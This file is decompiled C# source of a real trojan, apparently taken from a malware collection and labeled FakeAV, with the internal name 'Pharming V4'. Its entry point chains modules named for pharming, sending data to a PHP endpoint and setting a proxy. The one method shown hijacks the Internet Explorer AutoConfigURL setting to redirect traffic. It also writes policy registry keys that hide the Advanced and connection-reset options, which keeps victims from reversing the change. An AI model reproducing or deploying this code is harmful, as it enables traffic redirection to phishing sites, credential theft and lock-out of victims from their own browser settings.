MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2/Module1.cs

// Decompiled with JetBrains decompiler
// Type: Pharming_V4.Module1
// Assembly: Pharming V4, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A0AA727-6E9B-45EB-9818-CBBF4207AD4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.FakeAV.msyh-d3f833cca57e8fd32da1564163086307e943e07f01fc02218e28a85509c2cfe2.exe

using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using System;

namespace Pharming_V4
{
  [StandardModule]
  internal sealed class Module1
  {
    public static string osName = "UN";

    [STAThread]
    public static void Main()
    {
      pharmantiga.pharmantiga();
      pharmnova.pharmnova();
      so.so();
      enviophp.enviophp();
      criatxtinfect.criatxtinfect();
      atproxy.atproxy();
    }

    public static object a(string b)
    {
      Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
      Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\", true).SetValue("AutoConfigURL", (object) b);
      Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0);
      Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ResetWebSettings", (object) 0);
      Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0);
      Registry.CurrentUser.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ConnectionsTab", (object) 1);
      Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0);
      Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ResetWebSettings", (object) 0);
      Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("Autoconfig", (object) 0);
      Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("AdvancedTab", (object) 0);
      Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Control Panel", true).SetValue("ConnectionsTab", (object) 1);
      return (object) b;
    }
  }
}